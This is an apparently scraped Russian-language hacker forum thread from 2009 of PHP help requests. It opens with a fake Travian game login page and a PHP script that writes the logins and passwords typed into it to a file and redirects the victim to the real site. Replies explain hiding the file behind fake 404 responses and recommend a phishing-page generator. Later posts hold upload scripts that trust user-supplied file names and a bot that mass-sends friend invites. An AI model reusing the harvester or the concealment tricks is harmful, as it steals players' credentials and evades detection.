/> <span class="e f7"> </span></td> </tr> </table> <input type="hidden" name="eb0a332" value="" /> <p class="center"> <input type="hidden" name="eb0a332" value="" /> <input type = "image" value = "login" name = "s1" onclick = "xy();" id = "btn_login" class = "dynamic_img" src = "img/x.gif" alt = "кнопка входу" /> </p> </form> </div> </div> <div id="sright"> <h5><img src="http://www.travian.com.ua/img/ua/t2/newsbox1.gif" class="news1" alt="Новини 1"></h5> <div class="dashed"><span style="color:#ff9a1e;"><strong>Отримати ігрове золото</strong></span> <br><br>Більше інформації <a href="http://forum.travian.com.ua/showthread.php?t=2869" target="_blank">тут</a></div> <h5><img src="http://www.travian.com.ua/img/ua/t2/newsbox2.gif" class="news2" alt="Новини 2"></h5> <div class="dashed"><span style="color:#ff0000;"><strong>Важливо !</strong></span> <span style="font-size: 11px;"> <br><br>Шановні гравці, <br><br>Мультихантери та Служба Підтримки спілкується з Вами <font color="red"><b>виключно</b></font> за допомогою внутрішньоігрових повідомлень. <br><br><b>Важливо:</b> працівники Травіан команди ніколи не будуть питати у Вас пароль. <br><br>Будьте уважні! </font></span> </div> </div> <div class="clear"></div> </div> <div class="clear"></div> <div id="footer"> <div id="mfoot"> <a href="http://www.travian.com.ua/anleitung.php?s=3">Довідка</a> | <a href="http://www.travian.com.ua/screenshots.php">Скріншоти</a> | <a href="http://www.travian.com.ua/links.php">Лінки</a> | <a href="http://www.travian.com.ua/spielregeln.php">Правила гри</a> | <a href="http://www.travian.com.ua/spielregeln.php?agb">Основні положення</a> | <a href="http://www.travian.com.ua/impressum.php">Фірма</a> <br /> <div class="copyright">© 2004 - 2009 Travian Games GmbH</div> </div> </div> <div id="ce"></div> </body> </html>
654321.php
<?PHP $Login = $_POST['Login'];//Логин $Domain = $_POST['Domain'];//Домен $Pass = $_POST['Password'];//Пароль $c = "$Login@$Domain:$Pass"; $fp = fopen("654321","a+"); //открыть файл базы fwrite($fp,"\n $c <br> \n");//записываем все fclose($fp); //закрываем header("Location: http://s1.travian.com.ua/login.php"); echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://s1.travian.com.ua/login.php">"//s1.travian.com.ua ?>
Индекс составляется с исходного кода самой подлиной страници, где я заменил только несколько строчек.И 654321.php я не заменял ничем, как взял с фейка мейл.ру так и оставил.
Видно так замудрил, что никто не хочет братся :(
Nightmarе
01.07.2009, 20:20
Сделай рерайт на несуществующую страницу и добавь ErrorDocument 404 /404.html
Максимум чего мы можем добиться, это визуального эффекта 404, а необходим ещё заголовок, что действительно файла нету. Это средствами .htacces я так понимаю не реализовать?
Pashkela
01.07.2009, 20:35
http://www.askapache.com/htaccess/using-http-headers-with-htaccess.html
Например есть файл bad.html и мы хотим имитировать 404 для него.
Делаешь htaccess с текстом
ErrorDocument 404 /404.html
Options +FollowSymlinks
RewriteEngine on
RewriteRule bad\.html blablabla.html
При обращении к bad.html получаем 404 в заголовке и содержимое страницы 404.html
Или ты хотел нечто другое?
Nightmarе Или так
ErrorDocument 404 /404.html
RewriteCond %{REQUEST_FILENAME} "имя файла без кавычек"
RewriteRule ^.*$ - [R=404,L]
О фейку могу забыть:(
Читабительным сделай код
Читабительным сделай код
http://forum.xakep.ru/m_1125319/tm.htm
Вот исходная темка написания.
http://forum.xakep.ru/m_1125319/tm.htm
Вот исходная темка написания.
Погугли "AnyFake" полезная штука! (токо в настройках сделай "Сохр. в файл" когда будешь в AnyFake)
<input type="text" name="code" id="code"> Как поставить запрет на IP клиента - чтоб он "постил" туда данные если каждую секунду - то поставить запрет к примеру на 3-5 минут...
Надеюсь вы меня поняли :(
Как поставить запрет на IP клиента - чтоб он "постил" туда данные если каждую секунду - то поставить запрет к примеру на 3-5 минут...
Надеюсь вы меня поняли :(
При постинге в куки забивай время постинга,потом сравнивай.
А вот и я!
По регуляркам помогите, надо определять миксы буков, тоесть например ник Admin но с русской букво "А"
Я так понял, 2 регулярки, одна проверяет на буквы А-Я другая на A-Z если обе true значить детектед, вот только ничё не получаеца =\
$nick = $_POST['nick'];
if(eregi("^[a-z]+$", $nick) && eregi("^[а-я]+$", $nick)) $error[] = 'Микс буков детектед';
Пишу "ололоpewpew" молчит :rolleyes:
А вот и я!
По регуляркам помогите, надо определять миксы буков, тоесть например ник Admin но с русской букво "А"
Я так понял, 2 регулярки, одна проверяет на буквы А-Я другая на A-Z если обе true значить детектед, вот только ничё не получаеца =\
$nick = $_POST['nick'];
if(eregi("^[a-z]+$", $nick) && eregi("^[а-я]+$", $nick)) $error[] = 'Микс буков детектед';
Пишу "ололоpewpew" молчит :rolleyes:
if (eregi("[a-z]+", $nick) && eregi("[а-я]+", $nick) ) $error[] = 'Микс буков детектед';
По твоей регулярке получается что строка должна одновременно начинаться с русской и английской букв
Pashkela
02.07.2009, 16:21
<?php
$test = 'Admin';
if (preg_match("/[a-z]+/", $test) && preg_match("/[а-я]+/", $test)) echo 'Detected mix';
else echo 'Ok';
?>
mailbrush
03.07.2009, 12:45
Как вывести английский алфавит, не используя других ресурсов и предварительно не вводя его?
foreach (range('a', 'z') as $lt) echo $lt;
mailbrush
for($i=97;$i<123;$i++) echo chr($i);//Lowecase
for($i=65;$i<91;$i++) echo chr($i);//Uppercase
mailbrush
03.07.2009, 14:26
Kaimi, спс, не знал о функции range.
Gifts, угу, чар тоже вариант.
heretic1990
03.07.2009, 14:51
нужен простенький пример авторизации через форму с куками.
помогите.
без бд.
ANTIHАCK
03.07.2009, 19:26
Нужна помощь)))
Вот кусок кода (нашёл в инете)
<?php
if($_FILES["filename"]["size"] > 1024*40*1024)
{
echo ("Размер файла превышает 40 мегабайт");
exit;
}
if(copy($_FILES["filename"]["tmp_name"],
"c:/".$_FILES["filename"]["name"]))
{
echo("Файл успешно загружен");
} else {
echo("Ошибка загрузки файла");
} ?>
Как сделать что б он после загрузки показывал ссылку на файл в
<form > <input type="text" name="хз" /> </form>
? Помагите пожалст))
Nightmarе
03.07.2009, 19:31
ANTIHАCK добавь строку:
echo '<form><input type="text" name=$_FILES["filename"]["name"] /></form>';
ANTIHАCK
03.07.2009, 19:41
ну поле он выводит)) а ссылку нет) просто пустое поле..
PS: спс
<?php
if($_FILES["filename"]["size"] > 1024*40*1024)
{
echo ("Размер файла превышает 40 мегабайт");
exit;
}
if(copy($_FILES["filename"]["tmp_name"],
"c:/".$_FILES["filename"]["name"]))
{
echo("Файл успешно загружен");
echo '<a href='."c:/".$_FILES["filename"]["name"].'>Качай</a>';
} else {
echo("Ошибка загрузки файла");
} ?>
ANTIHАCK
03.07.2009, 19:47
geforse все хорошо но мне нужно чтоб в поле это вписал эту ссылку)) так можно ведь?
ANTIHАCK
03.07.2009, 19:51
спасиб что помогаешь))) но он выводит эту ссылку рядом с полем))) а не в нем))
<?php
if($_FILES["filename"]["size"] > 1024*40*1024)
{
echo ("Размер файла превышает 40 мегабайт");
exit;
}
if(copy($_FILES["filename"]["tmp_name"],
"c:/".$_FILES["filename"]["name"]))
{
echo("Файл успешно загружен");
echo ' <form><input type="text" name="хз" value='."c:/".$_FILES["filename"]["name"].'/></form>';
} else {
echo("Ошибка загрузки файла");
} ?>
ANTIHАCK
03.07.2009, 19:55
geforse Все работает спасиб!! Жаль плюсы ставить еще не магу...
Такой вопрос:
Как php (и умеет ли) взаимодействовует с flash технологиями ?
Допустим курлом загружаю страницу с флешкой и ставлю ретурн_трансфер 0. Страница отображается, а флеш нет :(
А вот и я, снова со своими реулярками...
<pre><?php
$date = preg_quote(date('d.m.Y'));
$text = "<td>05.07.2009</td><td>31,2481</td>";
preg_match('/\<td\>'.$date.'\</td\>\<td\>([0-9]*,[0-9]*)\</td\>/i', $text, $out);
print_r($out);
?>
Warning: preg_match() [function.preg-match]: Unknown modifier 't'
Чё оно хочет?! Я регулярку через preg_quote сделал, чё ему ненравится :mad:
===
Методом тыка заменил /.../i на |...|i заработало, хз почему но заработало :)
</td\>
Прямой слеш не экранирован
А вот и я, снова со своими реулярками...
<pre><?php
$date = preg_quote(date('d.m.Y'));
$text = "<td>05.07.2009</td><td>31,2481</td>";
preg_match('/\<td\>'.$date.'\</td\>\<td\>([0-9]*,[0-9]*)\</td\>/i', $text, $out);
print_r($out);
?>
Warning: preg_match() [function.preg-match]: Unknown modifier 't'
Чё оно хочет?! Я регулярку через preg_quote сделал, чё ему ненравится :mad:
===
Методом тыка заменил /.../i на |...|i заработало, хз почему но заработало :)
символ "\" надо ставить перед "/" а не перед <> :)
А вообще скажи что на выходе получить хочешь..?!
Это чтоли?
<?php
$date = preg_quote(date('d.m.Y'));
$text = "<td>05.07.2009</td><td>31,2481</td>";
preg_match('#\<td\>'.$date.'\<\/td><td>([0-9]*,[0-9]*)<\/td>#i', $text, $out);
print_r($out);
?>
ANTIHАCK
05.07.2009, 15:19
Привет всем! Нужна не большая помощь.. Есть скрипт:
<?php
if($_FILES["filename"]["size"] > 1024*300*1024)
{
echo ("<h1>Размер файла превышает 300 мегабайт<h1>");
exit;
}
if(copy($_FILES["filename"]["tmp_name"],
"c:/WebServers/home/10.2.197.11/subdomain/files/".$_FILES["filename"]["name"]))
{
echo ' <form><input type="text" onclick="f2(this);" readonly="" style="width:287px;" value='."http://10.2.197.11/files/".$_FILES["filename"]["name"].'></form>';
} else {
echo("<h1>Ошибка загрузки файла<h1>");
} ?>
Мне нужно чтоб он переименовывал загружаемый файл... лучше чтоб было как на слил.ру (1,2,3,... 322, 434334) возможно такое сделать?
создал на форуме дополнительный блок...
как зделать так чтоб при наполнении блока он автоматом подганял свои розмеры под инфу которая там...
ато допустим в блоке 2 слова, он по розмерам норм...как тока добавляю еще 2 слова...его розносит в разные стороны.. (((
?????
создал на форуме дополнительный блок...
как зделать так чтоб при наполнении блока он автоматом подганял свои розмеры под инфу которая там...
ато допустим в блоке 2 слова, он по розмерам норм...как тока добавляю еще 2 слова...его розносит в разные стороны.. (((
?????
ТАблицу с фиксированной шириной сделай...
привет всем. Как правильно создать цикл что бы он через каждые 3 символа вставлял число. тоесть если текст
алотплоатпиомтаиталтил
оатилоталоимь
сдтмиаол
то надо что бы он получился таким
ало1тпл2оат3пио4мта5ита6лти7
оа8тил9ота10лои11мь
с12дтм13иао14л
<?php
$st = "texttexttexttexttext";
$str = "";
for($i=0;$i < strlen($st);$i++)
{
if($i%3==0){ $str=$str."1".$st[$i]; }
else
$str = $str=$str.$st[$i];
}
echo $str;
?>
Как-то так,не проверял.
блин, будет 1 каждые три символа. А как что бы числа подряд шли 1, следущая 2, затем 3, и так далее
\\ChaOs//
05.07.2009, 16:30
Замени "1" на некую переменную, которую увеличивай в цикле
<?php
$st = "texttexttexttexttext";
$str = "";
$x = 1;
for($i=0;$i < strlen($st);$i++)
{
if($i%3==0){ $str=$str.$x.$st[$i]; $x=$x+1;}
else
$str = $str=$str.$st[$i];
}
echo $str;
?>
Привет всем! Нужна не большая помощь.. Есть скрипт:
<?php
if($_FILES["filename"]["size"] > 1024*300*1024)
{
echo ("<h1>Размер файла превышает 300 мегабайт<h1>");
exit;
}
if(copy($_FILES["filename"]["tmp_name"],
"c:/WebServers/home/10.2.197.11/subdomain/files/".$_FILES["filename"]["name"]))
{
echo ' <form><input type="text" onclick="f2(this);" readonly="" style="width:287px;" value='."http://10.2.197.11/files/".$_FILES["filename"]["name"].'></form>';
} else {
echo("<h1>Ошибка загрузки файла<h1>");
} ?>
Мне нужно чтоб он переименовывал загружаемый файл... лучше чтоб было как на слил.ру (1,2,3,... 322, 434334) возможно такое сделать?
Можно
Рассказываю структуру
Заливаешь файл... Как залил пишешь в mysql колонки:
id = индификатор файла при запросе GET (к примеру sait.ru/?id=412421) индефикатору просваиваем рандомное число но не одно а несколько (rand())(к примеру рандомное число от 1000 до 10000)
file = ссылка на файл для скачки
Далее если у нас есть GET запрос Id=4125
то просто сверяем есть ли колонка id со значением 4125 если есть то выдираем то что в колонке file под id=4125
Чисто на словах объяснил так как Mysql запросы пока что плохо знаю (говорю сразу надо мудрить с WHERE)
$str_array=array('алотплоатпиомтаи талтил','оатилоталоимь','сдт миаол'); //file() и etc
$u=0;
function add_num($in='',$len=3)
{
global $u;
$out='';
for($i=0;$i<strlen($in);$i=$i+3)
{
$u++;
$temp = strlen($in)-$i > $len-1 ? substr($in,$i,$len) . $u : substr($in,$i,$len);
$out.= $temp;
}
return $out;
}
$str_array =array_map('add_num',$str_array);
print_r($str_array);
<?php
$st = "texttexttexttexttext";
$str = "";
for($i=0;$i < strlen($st);$i++)
{
if($i%3==0){ $str=$str."1".$st[$i]; }
else
$str = $str=$str.$st[$i];
}
echo $str;
?>
Как-то так,не проверял.
ну а если наоборот. нужно что бы из введенного текста вывел только четвертый и шестой символ.
привет всем. Как правильно создать цикл что бы он через каждые 3 символа вставлял число. тоесть если текст
алотплоатпиомтаиталтил
оатилоталоимь
сдтмиаол
то надо что бы он получился таким
ало1тпл2оат3пио4мта5ита6лти7
оа8тил9ота10лои11мь
с12дтм13иао14л
труе-решение
$a = 'алотплоатпиомтаиталтил
оатилоталоимь
сдтмиаол';
$b = 1;
$a = preg_replace('#(...)#se', "'\\1'.\$b++", $a);
echo $a;
Всем привет! Есть скрипт :
$friends_pages = 233;
for ($f = 232; $f <= $friends_pages; $f++) {
$q->Get("http://web/");
file_put_contents($inc_dir.'/friends.html', $q->Result);
$content2 = file_get_contents($inc_dir.'/friends.html', $q->Result);
preg_match_all($regexp2, $content2, $fl, PREG_SET_ORDER);
foreach ($fl as $fll) {
if (!in_array($fll[1], $friends_ids))
$friends_ids[] = $fll[1];
}
}
$friends_count_real = count($friends_ids);
echo "Friendlist loaded. $friends_count_real IDs\n";
$index = 0;
foreach ($friends_ids as $friends_id) {
$index++;
$friend_sent++;
echo "$index. Sending invites to $friends_id... \r";
$q->Get("http://web/");
file_put_contents($inc_dir.'/xx_post.html', $q->Result);
$q->Query = Array (
'xxx' => 'vtoflgty',
'action' => 'addFriend',
'redirect' => 'community.ownmain.page',
'friendId' => $friends_id
);
Он собирает сначало со всех страниц ID и потом приглашает их. А как можно зделать чтоб собрал ID с одной страници ID потом пригласил их и тогда на следуйшую страницу перешёл и делал тоже самое?
Так, я снова со своими регулярками...
Насчёт того чо там надо челу вставлять циферки, юзайте wordwrap чтоб разбить по 3 буквы, потом циклом собирайте вставляя циферке
А теперь о свооём...
[16:22:45] <Ponchik> как в регулярке указать всё, кроме <
[16:23:22] <Ponchik> так нехочет ([.^\<]*)
[16:23:58] <Ponchik> а так всёравно выводит то чо ненадо (.*[^\<]?)
[16:24:33] <Ponchik> зато буквы обрезает, ппц
id = индификатор файла при запросе GET (к примеру sait.ru/?id=412421) индефикатору просваиваем рандомное число но не одно а несколько (rand())(к примеру рандомное число от 1000 до 10000)
С rand() плохо, т.к. вдруг такой файл уже есть?
Нужно в мускуль таблице для колонки id установить параметр auto_increment и будет всегда уникальный индекс.
Вот вроде так =\
Так, я снова со своими регулярками...
Насчёт того чо там надо челу вставлять циферки, юзайте wordwrap чтоб разбить по 3 буквы, потом циклом собирайте вставляя циферке
А теперь о свооём...
[16:22:45] <Ponchik> как в регулярке указать всё, кроме <
[16:23:22] <Ponchik> так нехочет ([.^\<]*)
[16:23:58] <Ponchik> а так всёравно выводит то чо ненадо (.*[^\<]?)
[16:24:33] <Ponchik> зато буквы обрезает, ппц
<?php
echo preg_replace('/[^<]/','<font color=red>все</font>',"все все все все все кроме <");
?>
и я устал повторять :точка внутри [] теряет свой смысл
"любой символ" и обозначает простую точку .
LIGA, неработат
ну вот у мя так ... (.*) ...
получаеца
[1] => Array
(
[0] => <div>ненада
[1] => нада
[2] => <div>ненада
[3] => нада
[4] => <div>ненада
[5] => нада
[6] => <div>ненада
[7] => нада
)
Мне вот так надо
[0] => нада
[1] => нада
[2] => нада
[3] => нада
С rand() плохо, т.к. вдруг такой файл уже есть?
Нужно в мускуль таблице для колонки id установить параметр auto_increment и будет всегда уникальный индекс.
Вот вроде так =\
Ну я так же написал что рандомные числа от 1000 до 10000 к примеру!
Ну я так же написал что рандомные числа от 1000 до 10000 к примеру!
Ну имхо твой вариант с вероятностью 1 к 9000 словит ошибку =)
с мускулей проще, не надо ничего генерировать, она сама все подставит и сделает.
<?php
$str = "<div> нада нада очень<>";
preg_match('/[^<div>](.*)/i', $str, $out);
print_r($out[0]);
?>
если не так то выложи строку и вид в какой она должна преобразоваться.
L I G A, да всё, я через цикл пропустил и сравнивал $arr == striptags($arr)
если совпадает то вписывал в новую переменную, норм...
Возможно ли такое что когда кончается работа скрипта он себя сам запускает заного??
zifanchuck
05.07.2009, 19:08
Возможно ли такое что когда кончается работа скрипта он себя сам запускает заного??
Типа цикла? НУ можно еще на крон поставить. Крон будет его запускать когда нужно. Если я прально понял...
нет, такое не возможно, когда скрипт закончит работу он обрубит даже все дочерние скрипты допустим запущенные через exec выход увеличивать время выполнения set_time_limit
Krist_ALL
05.07.2009, 19:45
А я придумал как сделать. Скрипт, который надо запускать несколько раз в файле а.Пхп в функции маин например.а в скрипте индекс.Пхп
<?php
include ('a.Php');
for($i=0;$i<100;$i++){
main();
sleep(2);
}
?>
по моему он имел ввиду чтобы скрипт сам себя запустил по истечению max_execution_time
А я придумал как сделать. Скрипт, который надо запускать несколько раз в файле а.Пхп в функции маин например.а в скрипте индекс.Пхп
<?php
include ('a.Php');
for($i=0;$i<100;$i++){
main();
sleep(2);
}
?>
ТЫ многопоточность придумал (х**ня какая-то):)))
я вот видел что некоторые пишут вот так echo "Переменная i равняется $i"; а некоторые пишут вот так echo "Переменная i равняется ".$i; как лучше писать? и в каких случаях это играет роль?
@KrafT
через register_shutdown_function - вызывать функциию котороя например будет через сокет вызывать файл из которого она запушена и соотвественно передовать необходимыные данные.
diznt сейчас начнеться холивар поклоников двойных и одинарных кавычек :)
Спасибо ! Вы мне помогли! =)
я вот видел что некоторые пишут вот так echo "Переменная i равняется $i"; а некоторые пишут вот так echo "Переменная i равняется ".$i; как лучше писать? и в каких случаях это играет роль?
Скорость выполнения разная поидее. Имхо лучше писать: 'Переменная i равняется '.$i
ту diznt, http://spindrop.us/2007/03/03/php-double-versus-single-quotes/
бред это всё про то что с двойными кавычками медленне выполняется
уж лучше писать "i = $i" чем этот гемор + абсолютная нечетаемость кода с конкатенацией строк
бред это всё про то что с двойными кавычками медленне выполняется
уж лучше писать "i = $i" чем этот гемор + абсолютная нечетаемость кода с конкатенацией строк
Бенчмарк в перле показывает что с двойными медленнее получается
На доли секунды... не тру
я бы выбрал лучшую читаемость кода, чем сомнительный выйгрыш в производительности
вы же не систему управления спутниками пишите
как сделать чтоб надписи не залазили друг на друга.. ?
как надо:
http://sa-mp.ws/image/index.jpg
как не надо:
http://img.sa-mp.ws/34.jpg
http://img.sa-mp.ws/24.jpg
imagettftext($im, 10, 0, 15, 8, $color, $font, $hostname);
imagettftext($im, 10, 0, 130, 8, $color, $font, $ip);
imagettftext($im, 10, 0, 163, 8, $color, $font, ':');
imagettftext($im, 10, 0, 166, 8, $color, $font, $port);
imagettftext($im, 10, 0, 35, 16, $color, $font, $gametype);
imagettftext($im, 10, 0, 163, 16, $color, $font, $players);
imagettftext($im, 10, 0, 174, 16, $color, $font, '/');
imagettftext($im, 10, 0, 181, 16, $color, $font, $maxplayers);
imagettftext($im, 10, 0, 280, 16, $color, $font, '(c) '.$site);
Скорость выполнения разная поидее. Имхо лучше писать: 'Переменная i равняется '.$i
если так судить то конкатация тоже занимает какую часть времени и соответсвенно так быстрее:
Переменная i равняется:
<? echo $i; ?>
да и вообше при выполнении одного запроса в гугле выделяеться 7 г. CO2 так что не пользуйтесь гуглом ищите все вручную и сделайте этот мир чише.
я вот видел что некоторые пишут вот так echo "Переменная i равняется $i"; а некоторые пишут вот так echo "Переменная i равняется ".$i; как лучше писать? и в каких случаях это играет роль?
Если следовать мануалу, то
"text" жрёт больше памяти, чем 'text' такчто лучше 'text'.$i;
А "text".$i; это вобще бред какой-то
от так будет в самый раз "text"."$i";
правильнее писать echo "Переменная i равняется ".$i; этот способ по моему и быстрее чуточку и поможет лишних ошибок в дальнейшем избежать))
и желательно кавычки одинарные, но различия там минималистические так что пиши как удобнее))
Zedi +1 хороший тон программирования и поиогает избежать ошибок....
Pashkela
06.07.2009, 02:32
но различия там минималистические так что пиши как удобнее))
+++, остальное дурь и блажь
Делаю авторизацию, хочу спросить насколько она хороша
Проверка куков-->Если они есть то спасаюсь от sql-inj-->Втыкаю в свою функцию пароль и аккаунт (очищенные от вредоносных символов)(ну а функция проверяет данные с базой данных Mysql и если все норм то возвращает тру)
главное все фильтроватьи очищать, то что получаешь $_POST ом и куки
Помогите плз, надо пропарсить строку, из
http://site.com/bla-bla-bla выдрать site.com, чета я туплю совсем =(
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot